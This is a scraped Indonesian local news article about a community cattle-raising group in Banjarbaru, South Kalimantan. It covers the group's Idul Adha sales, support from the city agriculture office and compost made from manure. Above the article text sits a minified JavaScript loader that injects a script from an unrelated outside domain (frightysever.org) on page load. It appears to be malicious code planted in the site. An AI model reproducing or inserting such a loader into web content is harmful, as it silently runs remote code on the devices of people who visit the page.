(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ternak sapi di RT. 06 RW. 07 Kelurahan Guntung Manggis, Kecamatan Landasan Ulin terus menggeliat, bahkan meraup keuntungan saat perayaan Idul Adha sejak 2 tahun terakhir.
Pendampingan dan kegiatan rutin yang dilakukan Dinas Ketahanan Pangan, Pertanian dan Perikanan (DKP3) Banjarbaru turut andil menyukseskan sapi ternak yang dipelihara kelompok masyarakat (Pokmas) Bersama Abadi Maju tersebut.
Dijelaskan Ketua RT. 06 RW. 07 Kelurahan Guntung Manggis, Widadi Suparwan, pokmas ini lebih dulu mendapatkan bantuan program RT Mandiri sejak tahun 2022. Selanjutnya, pengelolaan ternak tersebut mendapat pendampingan dari SKPD Pemko Banjarbaru, salah satunya DKP3.
Baca juga: ICW Luncurkan Situs Berisi Rekam Jejak hingga Bisnis Para Caleg
“Alhamdulillah, hewan-hewan ternak kita selalu mendapat pemantauan kesehatan dari DKP3 Banjarbaru. Jadi sapi-sapi kami bisa laku terjual,” ucapnya.
Satu bulan jelang perayaan Idul Adha tadi, lanjut Widadi, pihaknya dibantu DKP3 sangat berfokus pada penggemukan sapi yang telah dipesan masyarakat. Widadi sendiri, tampak memberi makan sapi yang telah dipesan, yang telah ditandai pada telinga bagian kanannya.
“Saat Idul Adha, pokmas in menerima pesanan hewan ternak berupa sapi dari masyarakat. Biasanya, jika ada acara tertentu, masyarakat membeli hewan ternak di pokmas ini. Kadang-kadang dari warga juga ada yang memesan, terutama jika ada acara hajatan,” lanjutnya.
Baca juga: Kampanye Terbatas di Liang Anggang, Polres Banjarbaru Minta Terus Jaga Kamtibmas
Di pokmas ini sendiri, tercatat ada 9 ekor sapi dan 2 ekor kambing. Ada 10 warga setempat yang tergabung dalam pokmas Bersama Abadi Maju.
Tak hanya hewan ternaknya saja, Widadi mengungkapkan bahwa kotoran hewan ternak juga diolah menjadi pupuk kompos oleh pokmas ini. Untuk harga jualnya pun bervariatif, berkisar antara Rp10 ribu hingga Rp20 ribu per karung.
“Untuk kotorannya, setiap bulan menghasilkan kurang lebih sekitar 50 karung. Ini kita juga mendapat masukan-masukan dari DKP3 Banjarbaru bebernya.
Baca juga: Signage Welcome to Meratus Geopark di Bundaran Simpang Empat Banjarbaru
Lalu bagaimana dengan keuntungan dari penjualan hewan ternak? Widadi menyebut untuk satu ekor sapi yang telah digemukkan, pokmas mendapat keuntungan sebesar Rp2 juta.
“Dulu membeli hewan ternak sapi di umur 7 hingga 9 bulan. Sekarang sudah berumur 11 hingga 14 bulan. Kalau dihitung per ekornya bisa mencapai Rp2 juta,” lugasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.